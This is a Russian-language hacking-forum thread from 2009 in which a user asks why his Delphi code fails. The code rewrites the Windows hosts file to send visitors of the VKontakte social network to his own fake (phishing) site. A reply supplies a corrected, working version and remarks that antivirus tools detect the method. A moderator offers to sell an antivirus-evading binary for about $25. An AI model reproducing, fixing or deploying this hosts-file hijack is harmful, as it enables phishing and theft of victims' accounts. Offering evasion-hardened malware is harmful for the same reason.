ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
24.10.2009, 13:49
|
|
Познающий
Регистрация: 25.09.2008
Сообщений: 56
Провел на форуме:
346344
Репутация:
38
|
|
Редирект [DELPHI]
Сдравствуйте уважаемые форумчане.
В делфи надо сделать редирект с контакта на мой фейк, через редактирование файла host.
Код:
procedure TForm1.FormActivate(Sender: TObject);
var f:textfile;
begin
assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'\system32\drivers\etc\hosts');
append(f);
writeln(f,'ip www.site.ru');
writeln(f,'ip site.ru');
closefile(f);
end;
Что не правильно? Помогите решить наболевший вопрос! |
|
|
24.10.2009, 14:33
|
|
Постоянный
Регистрация: 13.12.2008
Сообщений: 354
Провел на форуме:
1747641
Репутация:
175
|
|
Код:
assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+' \system32\drivers\etc\hosts');
Зачем поставил пробелы перед "\system32"? |
|
|
|
24.10.2009, 15:44
|
|
Новичок
Регистрация: 12.10.2009
Сообщений: 4
Провел на форуме:
119855
Репутация:
0
|
|
Я а знаю в чем, проблема но не скажу  Нефиг людей дурить |
|
|
|
24.10.2009, 17:29
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241
Репутация:
3349
|
|
спокойно пашет код такого вида:
Код:
var
f : textfile;
buf : array[0..256] of char;
begin
GetWindowsDirectory(buf, 256);
assignfile(f, buf + '\system32\drivers\etc\hosts');
append(f);
writeln(f,#13#10'ip www.site.ru'); // #13#10 для того чтобы небыло глюков если небыло перехода строки на предыдущей записи
writeln(f,'ip site.ru');
closefile(f);
end;
а вообще этот метод ооочень паливный. даже самая ленивая проактивка его палит |
|
|
|
24.10.2009, 18:36
|
|
Moderator - Level 7
Регистрация: 02.05.2009
Сообщений: 894
Провел на форуме:
4297091
Репутация:
2261
|
|
неправильнее всего то что вообще не хватает половины необходимого для работы кода.
upd. такой как тебе нужен непалящийся проактивкой бинарник тебе будет стоить долларов 25 - если нада стучи.
Ессна без сурсов.
В твоем же случае не "неправильно". В твоем случае у тебя крыло от машины и ты спрашиваешь почему она не едет.
Последний раз редактировалось ErrorNeo; 24.10.2009 в 19:04..
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
